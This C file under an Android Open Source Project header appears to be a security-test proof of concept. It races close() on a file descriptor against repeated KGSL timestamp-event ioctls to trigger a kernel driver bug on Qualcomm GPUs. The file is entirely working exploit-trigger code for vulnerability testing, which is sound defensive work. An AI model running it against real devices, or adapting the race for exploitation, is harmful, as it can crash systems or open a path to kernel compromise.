/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <stdio.h> #include <dirent.h> #include <string.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <stdio.h> #include <string.h> #include <dlfcn.h> #include <sys/time.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/resource.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sched.h> #define KGSL_CONTEXT_SAVE_GMEM 0x00000001 #define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ #define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004 #define KGSL_CONTEXT_CTX_SWITCH 0x00000008 #define KGSL_CONTEXT_PREAMBLE 0x00000010 #define KGSL_CONTEXT_TRASH_STATE 0x00000020 #define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040 #define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ #define KGSL_CONTEXT_END_OF_FRAME 0x00000100 #define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ #define KGSL_CONTEXT_SYNC 0x00000400 #define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800 #define KGSL_IOC_TYPE 0x09 struct kgsl_drawctxt_create { unsigned int flags; unsigned int drawctxt_id; /*output param */ }; #define IOCTL_KGSL_DRAWCTXT_CREATE \ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) /* destroy a draw context */ struct kgsl_drawctxt_destroy { unsigned int drawctxt_id; }; #define IOCTL_KGSL_DRAWCTXT_DESTROY \ _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) struct kgsl_timestamp_event { int type; /* Type of event (see list below) */ unsigned int timestamp; /* Timestamp to trigger event on */ unsigned int context_id; /* Context for the timestamp */ void __user *priv; /* Pointer to the event specific blob */ size_t len; /* Size of the event specific blob */ }; #define IOCTL_KGSL_TIMESTAMP_EVENT \ _IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event) int g_fd = -1; int g_ctx_id = -1; int g_sync_fence_fd = -1; struct kgsl_timestamp_event g_event; static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void trigger_kgsl_create_drawctx() { struct kgsl_drawctxt_create ctx; ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx); g_ctx_id = ctx.drawctxt_id; } void trigger_kgsl_free_drawctx(int id) { struct kgsl_drawctxt_destroy ctx; ctx.drawctxt_id = id; ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx); } void trigger_kgsl_timestamp_event() { ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event); } int open_driver() { char* dev_path = "/dev/kgsl-3d0"; g_fd = open(dev_path, O_RDWR); return g_fd; } void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { setpriority(PRIO_PROCESS, gettid(), privi); } void* race_thread(void* arg) { setup_privi_and_affinity(-19, 2); pthread_mutex_lock(&mutex); pthread_cond_wait(&cond, &mutex); pthread_mutex_unlock(&mutex); while (1) { close(4); } return NULL; } int main(int argc, char**argv) { setup_privi_and_affinity(-19, 1); if (open_driver() < 0) { return -1; } trigger_kgsl_create_drawctx(); g_event.type = 2; g_event.context_id = g_ctx_id; g_event.len = 4; g_event.priv = malloc(0x1000); g_event.timestamp = 0; mprotect(g_event.priv, 0x1000, PROT_READ); pthread_t tid; pthread_create(&tid, NULL, race_thread, NULL); usleep(100 * 1000); pthread_cond_signal(&cond); usleep(20); while (1) { trigger_kgsl_timestamp_event(); } return 0; }